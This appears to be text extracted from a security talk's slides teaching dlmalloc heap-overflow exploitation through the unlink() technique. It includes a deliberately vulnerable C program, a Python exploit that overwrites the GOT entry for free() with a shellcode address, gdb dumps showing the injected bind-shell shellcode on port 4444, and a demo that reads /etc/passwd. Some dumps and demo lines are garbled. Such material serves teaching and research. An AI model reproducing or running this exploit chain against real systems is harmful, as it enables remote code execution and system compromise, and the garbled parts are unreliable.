they steal a way innocence and peace
tho i'm a king i'm a king on my knees
and i know they are wrong when they say i
am strong
as the darkness covers me

j knapp
remedial heap overflows

dlmalloc style buffer overflows
by atlas

atlas@r4780y.com
http://atlas.r4780y.com
0x0100 - Intro to Buffer Overflows

- **gets() / fgets()**
  - Man Page Notes: “Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.

- **strncpy() / memcpy()**
- **rep movs (opcode)**
- **s/f/scanf()**
The Heap

- Dynamically allocated storage
  - Created using some sort of allocator - eg. malloc()
  - Cleaned up using a deallocator – eg. free()

- Stack overflows are typically a matter of writing enough bytes to change RET

- Heap options are slightly different:
  - Overwrite another variable on the heap
  - EOS (NULL) Overwrite (var combination)
  - Overwrite the Heap descriptors
    - delicate
    - implementation-specific
    - totally cool
The Operating System assigns a raw chunk of memory to a process, for dynamic allocation. This is typically referred to as a Chunk.

The user-space management of this memory is up to the implementor. Each OS has a default, but you can write your own.

For this preso, I will use “chunk” and “buffer” both to refer to a malloc()ed memory buffer.
0x0202 – buf = malloc(1024)

- This call allocates at least 1024 bytes from the kernel-provided memory-space.
- The virtual memory address where this buffer starts is stored in “buf”
- Because malloc() is low-level and called so frequently, the algorithms cannot do much processing, like sanity checking.

- For dlmalloc, *(buf-4) accesses the length of the buffer
0x0203 - free(buf)

• This call takes a previously malloc()ed buffer and marks it available for use by another call to malloc()
• Often, this memory chunk is inserted into a linked-list or array of “recycled” buffers for speedy reuse
• Because free() is low-level and called so frequently, the algorithms cannot do much processing, like sanity checking.
0x0204 - Example: Microsoft GDI

- JPEG buffer overflow
- September 2004
- GDIscan
  - (major props to Tom Liston from Intelguardians)
0x0300 - Varietous Implementations

- Doug Lea's Malloc / Free (our focus)
  - Linux default
- RTL and the Windows Heap
- BSD phk
  - BSDi, FreeBSD, OpenBSD
- BSD kingsley
  - 4.4BDS, AIX (compat), Ultrix
- System V AT&T
  - Solaris, IRIX
- Yorktown
  - AIX (default)
Allocated chunks are preceded by a size
Recycled chunks - basic doubly-linked list

malloc() adds 4 bytes to the requested length, then pads to the next quadword (8-byte) boundary

malloc(101) - allocates 112 bytes (0x70)
  - sets aside 105 bytes (101+4)
  - pads to next 8-byte multiple, which is 112
For grins and to make lin0xx happy...

**RtlAllocateHeap() / RtlFreeHeap()**

Free()d chunks are maintained in an array of 127 doubly-linked lists

- lists 2-127 store 16-1024 byte chunks
  - for list 2, chunk size is 2*8 = 16bytes
  - for list 100, chunk size is 2*100 = 200bytes

- list 0 stores >1024 byte chunks
0x0400 - Heap Descriptor

- Inband Allocation Descriptor
  - Duh!  Was this architected for exploitation?

- If a heap chunk is in use, the allocation descriptor is one 32-bit integer immediately preceding the chunk

- If a heap chunk is **not** in use, the first 8 bytes and the last 4 bytes of the data are **also** used as 32-bit integers. Remember this...
• `malloc(101)`

```c
struct heapchunk {
    long len
    char[101]
    char[padsize]
}
```

- Note: if the heapchunk is unused, it stays in memory (hoping to be recycled and further contribute to the environment).
0x0402 - Allocation Descriptor (free()-d)

- `malloc(101)`

```c
struct heapchunk {
    long len    (this is |PREV_INUSE)
    long prev <- address to prev
    long next <- address to next
    char[93+x]
    long len2  <- 4-byte aligned
    char[padsize-x]
}
```

- `len` is even or odd, depending on PREV_INUSE
- `len2` is always even (since the 3 LSBs are 0)
0x0500 - free() Algorithm

- If the node before or after are unused, the two are collapsed into one unused buffer using `unlink()`
- `unlink()` connects the adjacent chunks
  - `node->next->prev = node->prev`
  - `node->prev->next = node->next`
- `hmmmmm... prev and next for the next buffer come from the inband descriptor... which we just overwrote...`
- *Devil is in the details... pay close attention*
0x0501 – ok. I'm lost.

• In-use memory buffer (adapted from “Once upon a free()”)

```
chunk -> | prev_size (32bit long) * | |
+-----------------------------+
| size | PREV_INUSE (32bit long) **|
+-----------------------------+
mem -> | data |
| .... | |
+-----------------------------+
nextchunk -> | prev_size (32bit long) |
| .... | |
```

* If prev buffer is used, prev_size is just part of the buffer. If not, it is the length of the previous chunk.

** The least-significant-bit indicates whether the previous chunk is in use. If the number is odd, PREV_INUSE is set
0x0502 – Still lost...

- Unused memory buffer (also adapted)

```
+-----------------------------------------------------+
| chunk -> | prev_size (32bit long) * | |
+-----------------------------------------------------+
| size | PREV_INUSE (32bit long)** | |
+-----------------------------------------------------+
| mem -> | fd | |
+-----------------------------------------------------+
| bk | |
+-----------------------------------------------------+
| (old memory, can be zero bytes) | |
| nextchunk -> | prev_size ... | |
| | : | |
```

* If prev buffer is used, prev_size is just part of the buffer. If not, it is the length of the previous chunk.

** The least-significant-bit indicates whether the previous chunk is in use. If the number is odd, PREV_INUSE is set
0x0503 – Got a map...

- fd and bk are used to write to memory when unlink() is called to collapse two chunks together. Basically:
  * *(fd+12) = bk
  * *(bk+8) = fw
- This happens when collapsing “forward”
- This happens when collapsing “backward”
0x0504 – Got two hands...

- \( bk = 0x80496c4 \)
  - Imagine this is the GOT entry for “free()”

- \( fw = 0x804a0e8 \)
  - Imagine this is the location of another buffer we control

- \( mem= "\xb8\x96\x04\x08" + "\xe8\xa0\x04\x08" + "D"*92 + "\xfc\xff\xff\xff" + "PAD0" + "\xfc\xff\xff\xff" + "\xb8\x96\x04\x08" + "\xe8\xa0\x04\x08" \)
0x0505 – Flashlight Anyone?

- We are basically setting the following chunk to be “unused”, and setting both up for collapse, which works the magic

- This approach allows for both forward collapsing and reverse collapsing...
  - If our chunk is free()-d, we're good
  - If the following chunk is free()-d, we're good

- The end result is our 32bit integer being placed virtually anyplace we like.

- GOT is writeable, so why not?
There are a couple gotchas with exploiting unlink()...
- shellcode + 8 is clobbered. Can't help it.
- I put \xeb\x0eAA" + "AAAA" + "AAAA" + "AAAA" to start off shellcode.
  - 0xeb is the 'jmp byte-offset' opcode
  - 0x0e is the jmp len (0x10 including opcode)
  - A's are just easy, but could be C's or any spacer
  - Could do shorter, but this better illustrates what's happening ("\xeb\x0aAAAAAAAAAAAAAA")
- Modern glibc-2.5 includes a sanity check during unlink() which causes trouble
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

main()
{
    char* buffers[5];
    int loop;

    for (loop=0; loop<5; loop++){
        buffers[loop] = calloc(1,101);
    }

    for (loop=4; loop>=0; loop--){
        gets(buffers[loop]);
    }

    for (loop=0; loop<5; loop+=2){
        printf("%s\n",buffers[loop]);
        free(buffers[loop]);
    }

    for (loop=1; loop<5; loop+=2){
        printf("%s\n",buffers[loop]);
        free(buffers[loop]);
    }
}
```
0x0601 – hackme details

$ gcc -o ..:/hackme hackme.c
/tmp/cc2wCFc6.o: In function `main':
hackme.c:(.text+0x54): warning: the `gets' function is dangerous and should not be used.
$ objdump -R hackme

hackme:   file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE                 VALUE
080496a4 R_386_GLOB_DAT     __gmon_start__
080496b4 R_386_JUMP_SLOT    __gmon_start__
080496b8 R_386_JUMP_SLOT    gets
080496bc R_386_JUMP_SLOT    calloc
080496c0 R_386_JUMP_SLOT    __libc_start_main
080496c4 R_386_JUMP_SLOT    free
080496c8 R_386_JUMP_SLOT    puts
0x0602 – Heap Memory (clean)

(gdb) x/8wx 0x804a000

0x804a000:  0x00000000  0x00000071  0x00000000  0x00000000
0x804a010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a040:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a050:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a070:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a090:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a100:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a110:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a120:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a130:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a140:  0x00000000  0x00000000  0x00000000  0x00000000

0x70 | 0x01 = 112bytes | PREV_INUSE
import os
import struct

shellinlin="\x31\xdb\x53\x....."

at = 0x80496b8    # address to overwrite
to = 0x804a0e8    # address of shellcode
ataddy = struct.pack('L', at)
toaddy = struct.pack('L', to)

p=os.popen4('./hackme');o=p[0]
o.write("A"*89+"\n")  #fluff
o.write("B"*89+"\n")  #fluff

#### Here is our shellcode - ends up in 0x804a0e8
# Since the first 16 bytes are considered HEAP ALLOC header, the first
# opcode is a jmp 0x16 followed by A's to fill up the 16 bytes.
o.write("\xeb\x0e\x41\x41"+"C"*12+shellinlin+"\n")

o.write("D"*89+"\n")  #fluff

#### Here is our buffer overflow.
o.write("E"*100 +"\x0e\xff\xff\xffPADD\xff\x0e\xff\xff\xff"+ ataddy + toaddy +"\n")

o.flush()
0x0603 – Heap BOF – pre- free()

(gdb) x/8wx 0x804a000
0x804a000:  0x00000000 0x00000071 0x45454545 0x45454545
0x804a010:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a020:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a030:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a040:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a050:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a060:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a070:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a080:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a090:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a0a0:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a0b0:  0x45454545 0x45454545 0x45454545 0x45454545
0x804a0c0:  0x804444444 0x804444444 0x804444444 0x804444444
0x804a0d0:  0x804444444 0x804444444 0x804444444 0x804444444
0x804a0e0:  0x804444444 0x804444444 0x804444444 0x804444444
0x804a0f0:  0x804444444 0x804444444 0x804444444 0x804444444
0x804a100:  0x804444444 0x804444444 0x804444444 0x804444444
0x804a110:  0x804444444 0x804444444 0x804444444 0x804444444
0x804a120:  0x804444444 0x804444444 0x804444444 0x804444444
0x804a130:  0x804444444 0x804444444 0x804444444 0x804444444
0x804a140:  0x804444444 0x804444444 0x804444444 0x804444444

0x00000000 - 0x45454545 - 0x00000071 - 0x45454545 - 0x45454545 - 0x45454545 - 0x45454545

 PTR to Shellcode

“PADD” -4

Shellcode

About to be clobbered

(gdb) x/4wx 0x80496b8
0x80496b8<GOT+16> 0x280bf8b0 0x280cdae0 0x280754a4 0x0804834e
0x80496c4 - 12

Ptr to Shellcode

Shellcode
0x0604 – Heap BOF – free()!!

(gdb) x/8wx 0x804a000
0x804a000: 0x00000000 0x00000069 0x281885dc 0x281885dc
0x804a010: 0x45454545 0x45454545 0x45454545 0x45454545
0x804a020: 0x45454545 0x45454545 0x45454545 0x45454545
0x804a030: 0x45454545 0x45454545 0x45454545 0x45454545
0x804a040: 0x45454545 0x45454545 0x45454545 0x45454545
0x804a050: 0x45454545 0x45454545 0x00000068 0xfffffffc
0x804a060: 0x45454545 0x45454545 0x00000068 0xfffffffc
0x804a070: 0x44444444 0x44444444 0x44444444 0x44444444
0x804a080: 0x44444444 0x44444444 0x44444444 0x44444444
0x804a090: 0x44444444 0x44444444 0x44444444 0x44444444
0x804a0a0: 0x44444444 0x44444444 0x44444444 0x44444444
0x804a0b0: 0x44444444 0x44444444 0x44444444 0x44444444
0x804a0c0: 0x44444444 0x44444444 0x44444444 0x44444444
0x804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0e0: 0x00000000 0x00000071 0x41410eeb 0x43434343
0x804a0f0: 0x080496b8 0x43434343 0x4353db31 0x6a026a53
0x804a100: 0x89995866 0x9680cde1 0x68665243 0x53665c11
0x804a110: 0x666ae189 0x56515058 0x80cde189 0xe3d166b0
0x804a120: 0x525280cd 0xe1894356 0x80cd66b0 0x59026a93
0x804a130: 0x80cde189 0xb0f97949 0x2f68520b 0x6868732f
0x804a140: 0x6e69622f 0x5352e389 0x80cde189 0x00000000

(gdb) x/4wx 0x80496b8
0x80496b8 <GOT+16> 0x280bf8b0 0x280cdae0 0x280754a4 0x0804a0e8

"PADD" ptr to shellcode
shellcode
Bam! Clobbered
Next call to free() will call our shellcode!
0x0605 – Sweet Success

- This particular shellcode opens a backdoor shell listener on TCP port 4444 (hey hd!)

```python
>>> p=os.popen4('.\./hackme\'); i = p[1]; o = p[0]
>>> o.write("A"*89+"\n")
>>> o.write("B"*89+"\n")
>>> o.write("\xe8\x0e\x41\x41" + "C"*12 + "shellelin" + \\
hackme.core
hackmebsd
remedialheapofs.odp
```

```
cat /etc/passwd
# $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 mma
# root:*:0:Unbreakable Root Password :)/root:/usr/local/bin/bash
toor:*:0:Bourne-again Superuser:/root:
demon:*:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/usr/sbin/nologin
```

```
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
```
0x0700 – Stupid, atlas is so stupid!

DEMO

Smart people don't demo, because Demo's always dork up somehow..
#define unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) {
        malloc_printerr (check_action, "corrupted double-linked list", P);
    } else {
        FD->bk = BK;
        BK->fd = FD;
    }
}
0x0702 – What now?

- EOS Overflow (NULL Overwrite)
  - Makes all string-manipulator functions treat this and the next buffer as one string

- HEAP Var Modification
  - Modify other variables on the HEAP

- Find new ways to leverage HEAP BOFs
  - Creativity is how these were discovered
  - Leverage what you have...
0x0800 - Resources

- **Once upon a free()** -
  - http://www.phrack.org/archives/57/p57-0x09

- **Advanced Malloc Exploits**

- **Lin0xx' Amazing RTL Presentation and Notes** -

- **Shellcoder's Handbook**
0x0900 – Special Thanks

- My Creator
- My Family
- Intelguardians
- kenshoto
- 1@stplace
0x0901 – And the grafiti..

• yo visi, werd. vtrace wrox.

• drb, you're awesome co-cap'n, even if you are a superstar on the side

• bug, ringwraith, menace, jewel... y'all are worth every struggle

• choops, nologin folks. thku
0x0902 – Stolen Stuff

• Much text was gratuitously stolen from:
  – “Once Upon a Free()”, anonymous
    <d45a312a@author.phrack.org>, phrack 57,
    http://www.phrack.org/archives/57/p57-0x09

• Song lyrics by Jennifer Knapp. “Martyrs and Thieves”